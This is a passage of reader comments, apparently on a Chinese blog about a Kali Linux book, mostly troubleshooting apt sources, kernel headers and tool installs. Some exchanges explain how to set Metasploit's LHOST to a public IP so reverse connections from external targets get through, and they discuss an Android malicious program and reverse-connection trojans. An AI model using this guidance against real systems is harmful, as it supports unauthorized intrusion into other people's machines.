      升級前建議將備份 kali 的VM,以免升級失敗。若不幸失敗還能還原到目前狀態。

      刪除
    5. to 哈根打斯

      抱歉,現在才回復您的提問。

      經我重新下載Kali-VM,確實是 4.3.3-7 版(使用 uname -v 可查看),而我看了 sources.list 的內容只有一行:

      deb http://http.kali.org/kali kali-rolling main non-free contrib

      執行
      apt-get update -y
      apt-get upgrade -y
      之後,再執行
      apt-cache search linux-headers
      可以看到輸出的清單中有
      linux-headers-4.3.0-kali1-amd64

      這次應該可以順利執行:
      apt-get install linux-headers-4.3.0-kali1-amd64


      (我不曉得是Kali的作者修正了來源,還是下列這一行的關係)
      deb http://http.kali.org/kali kali-rolling main non-free contrib

      因為之前提供給你的來源是沒「 rolling 」

      總之請您確認 sources.list,然後再執行一次下列指令看看:
      apt-get update -y
      apt-get upgrade -y
      apt-get install linux-headers-$(uname -r)

      註:
      uname -r 可以看目前系統的主要版本
      uname -v 可以看目前系統的詳細版本
      apt-cache search  可以搜尋目前可用的套件名稱

      刪除
    6. 哥 我明天 試試看 在跟您回報

      抱歉 讓您費心了 XD

      刪除
  5. 哥 手動增加來源
    ===============================================================================================
    請您檢查一下 /etc/apt/sources.list 有沒有下列兩項來源:

    deb http://http.kali.org/kali sana main non-free contrib
    deb http://security.kali.org/kali-security/ sana/updates main contrib non-free
    ===============================================================================================
    deb 前面要不要加 # ??
    小弟也是卡在這 GG
    小弟 照這大大的步驟還是失敗 大大麻煩請您幫我看一下
    http://imgur.com/jw95Zuy

    回覆刪除
  6. 哥 我重新下載 kali linux 之後

    開啟終端機 輸入

    apt-get update -y

    apt-get upgrade -y

    apt-get install linux-headers-$(uname -r)

    還是 失敗 QQ

    哥 我sources.list 的內容都沒變動 還是裡面要加別的字串 ??

    http://imgur.com/8mgATMH

    http://imgur.com/YCf9KYS






    回覆刪除
    回覆
    1. 下載回來的 Kali-VM 應該是 4.3.0 版,您在執行

      apt-get update -y
      apt-get upgrade -y
      apt-get dist-upgrade -y

      之後,重新開機,應該會升級到 4.5.0 版
      (用 uname -r 查看版本)

      升級到 4.5.0 版,它已經裝好 linux-headers-4.5.0-kali1-amd64 及 VMWare-tools ,所以不用再裝了。

      刪除
    2. 謝謝哥 手把手的教導 小弟已成功實裝°

      對了 哥 出的四本書 小弟都有支持°

      再次感謝°

      刪除
    3. 幸好成功了 :)
      實在抱歉,讓您買書竟然無法解決您的問題。

      也感謝您的支持!

      刪除
    4. 你好 做到2.9.1移除成功 但2.9.2及2.9.3皆出現以下訊息 不知該如何解決
      E:type '-r is not known on line 6 in source list etc/apt/source.list
      E:the list of sources could not be read

      刪除
    5. E:type '-r is not known on line 6 in source list etc/apt/source.list
      這一段表示您的 /etc/apt/source.list 內容有問題,請重新確認 /etc/apt/source.list 的內容。

      刪除
    6. 想請問一下,我照著上面更新upgrade之後,總是會當機無法再使用,他有問我sslh的問題之後一直跑就不能用了

      刪除
    7. 上面的更新程序我從 BT5、Kali 1.x,到現在的 Kali 2.x 都不曾發生問題,會造成更新後當機的情形只有在執行 apt-get dist-upgrade -y 這一條比可能發生,如果是在這一條發生錯誤,我只能建議您到官網下載最新的映像檔使用。
      apt-get dist-upgrade 會試著昇級發行版本,但因各個發行版本間的組態不見得相容(尤其是我們自己加了、移了、改了安裝的套件),輕者昇級失敗,重者系統毀損,所以在執行 apt-get dist-upgrade 之前我都會先在 VMWare 建立快照(要 Workstation 才有此功能)。
      使用 VMWare Player 的,就將該作業系統的目錄先備份起來吧!

      刪除
    8. 打完upgrade之後,他就一直更新,等了幾個小時就黑屏,重啟後她就變成tty1模式問我log in,我打完帳密後就完全沒反應了,想去官網直接抓最新版,可是沒看到有4.5的,感謝哥的幫忙了,想問vmtool這一塊真的一定要弄嗎

      刪除
    9. 最新的 VM 映像檔可由
      https://www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/
      下載,這一版不用再裝 VMTools (已經預完裝了)

      刪除
  7. 你好,我想請問關於Metasploit的問題,就是我看書中與網路上的範例LHOST都是設定在內部網路,所以想請問一下,Metasploit可以用在外部網路嗎?

    回覆刪除
    回覆
    1. Metasploit可以用在外部網站,一般書上或網站會指向內部網路,是因為實驗環境的關,今天若您攻擊的機器是外網IP (如 61.62.63.64),您的metasploit機器也必須使用外部IP,而不能用 192.168, 10.xxx, 或 172.16~31.xx 這類的私有(內部)IP,不然 LHOST指定內部IP時,被攻擊的機器返回連線時,是會連不進來的。
      簡單說,目標若是內部IP,metasploit機器也可以用內部IP。若目標若是外部IP,metasploit若要用 reverse 連線時,也要用外部IP才收得到連線。

      刪除
  8. 你好,我想請問關於Metasploit的問題:

    1.假如我對外的IP位址是220.135.110.200,我的區域網路位址是192.166.6.194,對方的外部IP位址是220.135.110.201,區域網路位址是192.168.9.1,而雙方的區域網路中有都許多臺電腦在運作,這樣能分辨得出是哪一台電腦執行了程式嗎?

    2.在產生android的惡意程式後,用模擬器BlueStacks開啟後能攻擊成功,但用在手機上卻完全沒有反應,是因為android安全機制的關係嗎,還是別的原因呢?

    回覆刪除
    回覆
    1. 第一個問題:
      如果您能在對方的機器上安裝反向連線的木馬,而你的內部機器也能讓外部的機器連線,就可能知道。

      理論上,內部機器都是利用 port mapping 方式以NAT對外連線,所以從外面是找不到這台機器的,除非您的機器是採 address translate 或固定ort mapping的NAT。不然外部的機器是看不到內部機器的,同理可推,兩邊的內部機器是無法彼此看到的。

      第2個問題:
      抱歉! android平台不是我的專長,所以無法提供正確的答案,但android 有很多版本,攻擊程式不見得能在各版本中執行,這方面就得麻煩您自行爬文了!

      刪除
  9. 您好

    FireFox安裝問題:


    1.照著步驟移除原先的瀏覽器-沒問題

    2.root@kali:~# echo -e "\ndeb http://downloads.sourceforge.net/project/ubuntuzilla/mozilla/apt all main" | tee -a /etc/apt/sources.list -沒問題

    3.root@kali:~# apt-key adv --recv-keys --keyserver keyserver.ubuntu.com C1289A29
    Executing: /tmp/apt-key-gpghome.o133flJ8kw/gpg.1.sh --recv-keys --keyserver keyserver.ubuntu.com C1289A29
    gpg: 金鑰 1C144EB4C1289A29: "Daniel Folkinshteyn (Ubuntuzilla signing key) " 未改變
    gpg: 金鑰 CCC158AFC1289A29: "Daniel Folkinshteyn (Ubuntuzilla signing key) " 未改變
    gpg: 處理總量: 2
    gpg: 未改變的: 2
    ->未改變 感覺有問題
    4.apt-get update
    : 找不到安裝方式的驅動程式 /usr/lib/apt/methods/https。
    N: Is the package apt-transport-https installed?
    W: The repository 'http://security.kali.org/kali-security sana/updates Release' does not have a Release file.
    N: Data from such a repository can't be authenticated and is therefore potentially dangerous to use.
    N: See apt-secure(8) manpage for repository creation and user configuration details.
    W: The repository 'http://http.kali.org/kali sana Release' does not have a Release file.
    N: Data from such a repository can't be authenticated and is therefore potentially dangerous to use.
    N: See apt-secure(8) manpage for repository creation and user configuration details.
    E: 無法將 /var/lib/dpkg/lock 鎖定 - open (11: 資源暫時無法取得)
    E: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it?

    5.root@kali:~# apt-get install firefox-mozilla-build

    正在讀取套件清單... 完成
    正在重建相依關係
    正在讀取狀態資料... 完成
    E: 找不到套件 firefox-mozilla-build

    請陳老師協助解答 ,謝謝

    回覆刪除
    回覆
    1. 做完「echo -e "\ndeb http://downloads.sourceforge.net/project/ubuntuzilla/mozilla/apt all main" | tee -a /etc/apt/sources.list」之後,先試著執行

      apt-get update
      apt-get upgrade

      看沒有順利完成。之後再執行
      apt-key adv --recv-keys --keyserver keyserver.ubuntu.com C1289A29

      如果都沒不能成功,是否直接下載新版的 Kali,作者已經將 iceweasel 換成 FireFox 了!

      刪除
  10. 你好

    最近在拜讀其Kali Linux大作,發現第6章的smbmap.py在kali Linux 2016.2版中,已無法正常執行,會出現importError,應該是和它無法找到impacket.dcerpc中的transport、svcctl及srvsvc等module,我kali linux有升級過,所以應該是新版本的impacket已經將dcerpc底下非v5版的舊程式都刪了,只留下v5目錄內的新程式,有去確認過smbmap.py有沒有新版本,但看來二年內都沒有改過,因此我研究了一下後,發現有二種方式可以讓工具恢復正常(只是不確定第一種方式是不是所有功能都正常運作,但執行起來是沒問題的,有測過)
    第一個方法,將smbmap.py程式中的from impacket.dcerpc import transport, svcctl, srvsvc這一行註解掉即可
    第二個方法,抓舊版的impacket(0.9.11),並將其dcerpc下的*.py檔全複製到kali該目錄(/usr/lib/python2.7/dist-packages/impacket/dcerpc)底下,也可正常執行

    以上分享給您

    回覆刪除
  11. 您好,
    webhttrack起動問題:
    我依據書上4.4安裝完後要起動都會出現 "請以一般使用者身分啟用google chrome.開發時,如要以root身份執行,請使用--no-sandbox標記重新執行" ,我也按照2.9.4去設定但還是無法解決.煩請陳老師協助解答 ,謝謝

    回覆刪除
    回覆
    1. 如果書中的方法仍無法啟動 Chrome,麻煩您參考這一篇,直接修改 /usr/bin/google-chrome 腳本

      http://www.time521.com/blog/2016/05/kali-linux-2-0-%E5%AE%89%E8%A3%85chrome/

      這一篇是 gedit編輯器,但您可以選用自己喜的文字編輯器。

      刪除
  12. 請問一下kali桌面掛載方式,是書上寫的的方法嗎?

    回覆刪除
    回覆
    1. 抱歉!我不太理解您的意思,您是指將磁碟機掛載到桌面嗎?如果是本機碟機,不需要手動掛載,Kali啟動後,在X window的環境就可以看得到。

      如果是移除式裝置,只要Kali能識別,在插入USB槽後,會自動掛載。
      只有Kali無法自動掛載的才需要手動掛載。

      如果要掛載Windows的分享夾,可以利用 mount 指令或kali桌面的電腦伺服器的smb掛載。

      刪除
  13. 不好意思 請問一下Kali使用apt-get update 時會出現下面兩條,但前一天還可以使用,該如何解決呢?
    E:Malfmed entry 10 in list file /etc/apt/sources.list (URI parse)
    E:無法讀取列表

    回覆刪除
    回覆
    1. 請問您是不是有修改 /etc/apt/sources.list 的內容?
      或者用文字編輯器在 /etc/apt/sources.list 內容的第10條前面加下 # 暫時將它註解掉看看!

      刪除